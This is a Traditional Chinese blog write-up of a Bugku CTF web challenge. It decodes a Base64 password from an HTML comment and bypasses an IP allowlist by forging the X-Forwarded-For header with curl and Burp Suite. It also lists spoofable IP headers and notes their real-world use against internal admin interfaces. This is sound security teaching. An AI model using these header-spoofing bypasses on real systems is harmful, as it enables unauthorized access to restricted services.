> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Bugku CTF - 本地管理員 writeup (zh-TW)
- URL: https://taiwanding.com/bugku-ctf-ben-di-guan-li-yuan-writeup-zh-tw/
- Published: 2025-10-05T05:13:50.000Z
- Updated: 2025-10-05T05:13:50.000Z
- Author: Kevin Chen
- Tags: Bugku, CTF, web

## 題目資訊

- **分類**: Web
- **分數: 15**
- **解決人次: 16385**
- **題目提示**: "本地管理员"
- 題目連結: [https://ctf.bugku.com/challenges/detail/id/79.html](https://ctf.bugku.com/challenges/detail/id/79.html?ref=taiwanding.com)

## 解題過程

### Step 1: 檢查網頁原始碼

訪問網站看到登入表單，查看原始碼發現底部有大量 "n" 字元，滾動到最底部發現 HTML 註釋：

```html
<!-- dGVzdDEyMw== -->
```

這是 Base64 編碼（特徵：字母數字加 `+/`，結尾有 `=`）

### Step 2: Base64 解碼

```bash
echo "dGVzdDEyMw==" | base64 -d
```

**結果**：`test123`

這應該是密碼！

### Step 3: 嘗試登入

根據題目「管理員系統」，嘗試：

- 使用者：`admin`
- 密碼：`test123`

```bash
curl -X POST http://117.72.52.127:18261/ \
  -d "user=admin&pass=test123"
```

**回應**：

```
IP禁止访问，请联系本地管理员登陆，IP已被记录.
```

❌ 被 IP 限制阻擋了！

### Step 4: 分析限制並繞過

錯誤訊息提示「本地管理員」，表示伺服器檢查 IP 位址，只允許本地（127.0.0.1）訪問，伺服器可能使用 HTTP 標頭來判斷 IP（如 `X-Forwarded-For`），這些標頭可以被偽造！

### Step 5: 偽造 IP 位址

使用 `X-Forwarded-For` 標頭偽造 IP 為 `127.0.0.1`：

```bash
curl -X POST http://117.72.52.127:18261/ \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "Referer: 127.0.0.1" \
  -d "user=admin&pass=test123"
```

**成功回應**：

```html
<font style="color:#FF0000">
  <h3>The flag is: flag{Redacted}</h3>
</font>
```

🎯 **成功取得 Flag！**

**同樣可以使用 Burp Suite !**

1. 攔截 POST 請求
2. 添加標頭：`X-Forwarded-For: 127.0.0.1`
3. Forward 請求

## 學習重點

### 1\. Base64 編碼識別

- 特徵：只含 `A-Z a-z 0-9 + /`，結尾可能有 `=`
- 解碼：`echo "string" | base64 -d`

### 2\. 常見 IP 偽造標頭

```
X-Forwarded-For: 127.0.0.1    # 最常用
X-Real-IP: 127.0.0.1           # Nginx 常用
Client-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
```

### 3\. X-Forwarded-For 原理

- 用於記錄通過代理的客戶端真實 IP
- 格式：`X-Forwarded-For: client, proxy1, proxy2`
- **可以被偽造**，因為是 HTTP 標頭

## 經驗分享

這一題展示了 HTTP 標頭偽造的危險性，在真實環境中，類似的技巧可以：

1. 繞過 IP 白名單限制
2. 訪問僅限內部的管理介面或 API
3. 配合其他漏洞（如 SSRF）形成攻擊鏈

所以深入理解 HTTP 標頭的安全性很重要。